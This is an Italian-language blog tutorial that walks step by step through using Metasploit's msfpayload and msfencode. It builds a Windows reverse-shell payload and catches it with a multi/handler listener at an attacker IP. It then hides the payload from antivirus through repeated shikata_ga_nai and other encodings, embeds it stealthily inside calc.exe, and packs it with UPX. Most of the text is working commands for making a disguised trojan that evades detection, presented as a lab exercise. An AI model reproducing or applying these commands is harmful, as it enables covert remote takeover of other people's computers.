Exploiting – Metasploit

Utilizzare Metasploit per embeddare un payload in un eseguibile

Nell’esercizio di oggi vedremo come generare un payload per effettuare un attacco client side su una macchina Windows XP SP3 Italiano e come evitare che il payload venga riconosciuto dai programmi di antivirus.

Avremo bisogno di metasploit per creare e codificare il payload, di una macchina virtuale con Windows installato e di una applicazione dove embeddare il codice del payload: utilizzeremo allo scopo “calc.exe”.

Come prima cosa generiamo un payload stand alone basato su “windows/shell_reverse_tcp_allports”

Per fare questo digitiamo il seguente comando:

msfpayload windows/shell/reverse_tcp_allports LHOST=192.168.148.129 LPORT=31337 X > /var/www/payload_allports.exe

Image

Nel comando abbiamo indicato il tipo di payload, l’ip della macchina da cui originiamo l’attacco, la porta su cui meterpreter ascolterà e con X abbiamo detto a MSFpayload che vogliamo un payload stand alone. Abbiamo quindi salvato il codice risultante dal comando nella home di apache così da poterlo scaricare dalla macchina target attraverso un comune browser web.

Prima di eseguire il payload dalla macchina XP dobbiamo lanciare meterpreter e predisporlo all’ascolto sulla porta indicata nel payload stesso; per fare questo eseguiamo i seguenti comandi:

msfconsole

use exploit/multi/handler

set PAYLOAD windows/shell_reverse_tcp_allports

set LHOST 192.168.148.129

set LPORT 31337

exploit

Image

A questo punto possiamo lanciare il payload dalla macchina XP; in pochi secondi la macchina sarà exploitata e meterpreter ritornerà il prompt.

Digitiamo quindi “execute –f cmd.exe –c –i –H” ed otterremo una shell con diritti di amministratore.

Image

La macchina Windows su cui stiamo effettuando i test è priva, per praticità, di antivirus; nel mondo reale un exploit come quello che abbiamo appena creato verrebbe identificato immediatamente dagli antivirus e posto in quarantena.

Per evitare che l’exploit venga riconosciuto dagli antivirus è possibile utilizzare una tecnica di encoding atta a mascherare l’exploit stesso; il payload così codificato verrà poi in fase di esecuzione decodificato e lanciato.

Per fare questo utilizzeremo il comando MSFencode.

Se vogliamo vedere tutti gli encode che abbiamo a disposizione possiamo da MSFconsole digitare il seguente comando: “msfencode –l”.

Come potrete notare gli encoder sono organizzati per architettura; poiché’ il payload che stiamo generando dovrà essere eseguito su una macchina Windows ci soffermeremo sugli encoder x86.

MSFencode viene eseguito in pipe dopo il MSFpayload; per effettuare la codifica del payload utilizzeremo il seguente comando:

msfpayload windows/shell/reverse_tcp_allports LHOST=192.168.148.129 LPORT=31337 R | msfencode –e x86/shikata_ga_nai –t exe > /var/www/payload_allport_enc.exe

Analizzando il comando vediamo che abbiamo detto a MSFencode di codificare il payload con l’encoder shikata_ga_nai e di creare un eseguibile da salvare nella solita directory home di apache. Abbiamo inoltre detto a MSFpayload di generare un raw output con il parametro “R” in quanto l’eseguibile vero e proprio verrà eseguito da MSFencode.

La maggior parte delle volte un solo encoding non sarà sufficiente per proteggerci dagli antivrus; è quindi consigliato effettuare più encoding in più passate: sceglieremo quindi diversi encoding da effettuarsi in sequenza e da reiterare per enne volte.

Il nuovo comando sarà il seguente:

msfpayload windows/shell/reverse_tcp_allports LHOST=192.168.148.129 LPORT=31337 R | msfencode –e x86/shikata_ga_nai –c 10 –t raw | msfencode –e x86/alpha_upper –c 5 –t raw | msfencode –e x86/shikata_ga_nai –c 20 –t raw | msfencode –e x86/countdown –c 10 –t exe > /var/www/payload_allport_multienc.exe

Image

Analizzando il comando vediamo che abbiamo chiamato in serie quattro differenti encoding ed abbiamo chiesto di reiterare le codifiche piu’ volte.

  1. 1.      Shikata_ga_nai con 10 iterazioni
  2. 2.      Alpha_upper con 5 iterazioni
  3. 3.      Shikata_ga_nai con 20 iterazioni
  4. 4.      Countdown con 10 iterazioni

Da notare, infine, che i primi 3 encoder generano un raw output e che solo l’ultimo encoder genera il vero e proprio eseguibile.

E’ abbastanza difficile che un utente lanci un eseguibile senza conoscerne l’utilizzo; a tale proposito e’ possibile utilizzare MSFencode per embeddare il payload in un qualsiasi eseguibile Windows.

Per fare ciò come prima cosa ci procureremo “calc.exe” ed embedderemo quindi il payload al suo interno; da notare che non tutti gli eseguibili sono utilizzabile per embeddare un payload e quindi il processo potrebbe fallire. In questo ultimo caso è sufficiente provare ad utilizzare altri eseguibili.

In questo caso il comando sarà:

msfpayload windows/shell/reverse_tcp_allports LHOST=192.168.148.129 LPORT 31337 R | msfencode –t exe –x /root/Desktop/calc.exe –o /var/www/calc.exe –e x86/shikata_ga_nai –c 5”

Abbiamo indicato a MSFencode di utilizzare l’eseguibile nel percorso “/root/Desktop/” dal nome “calc.exe”, di reindirizzare l’output nella home dir di apache e di effettuare un encoding shikata_ga_nai con 5 iterazioni.

Il problema del payload che abbiamo appena generato è che non appena eseguito il codice l’applicativo viene chiuso: questo potrebbe generare dei sospetti; per eseguire in modalità “Stealth” il payload, cosi’ che l’applicativo nel quale abbiamo embeddato il codice venga eseguito correttamente aggiungiamo il flag “-k”.

Tale flag farà si che il payload venga eseguito in un thread separato; di seguito il comando:

msfpayload windows/shell/reverse_tcp_allports LHOST=192.168.148.129 LPORT 31337 R | msfencode –t exe –x /root/Desktop/calc.exe –o /var/www/calc.exe –e x86/shikata_ga_nai -k –c 5”

Se si vuole ridurre ulteriormente il rischio di venire scoperti da un antivirus e’ possibile utilizzare un altro applicativo chiamato upx (ultimate packer for executables”: tale applicativo comprime il nostro eseguibile rendendo ancora piu’ difficile la sua individuazione.

Il comando da lanciare sara’ “upx -5 /root/Desktop/calc.exe” dove 5 e’ un valore da 1 a 9 con 1 minor compressione e 9 maggior compressione; da notare che si dovra’ utilizzare upx a valle di msfencode una volta che il payload sia stato generato.

upx

Leave a Reply

Your email address will not be published. Required fields are marked *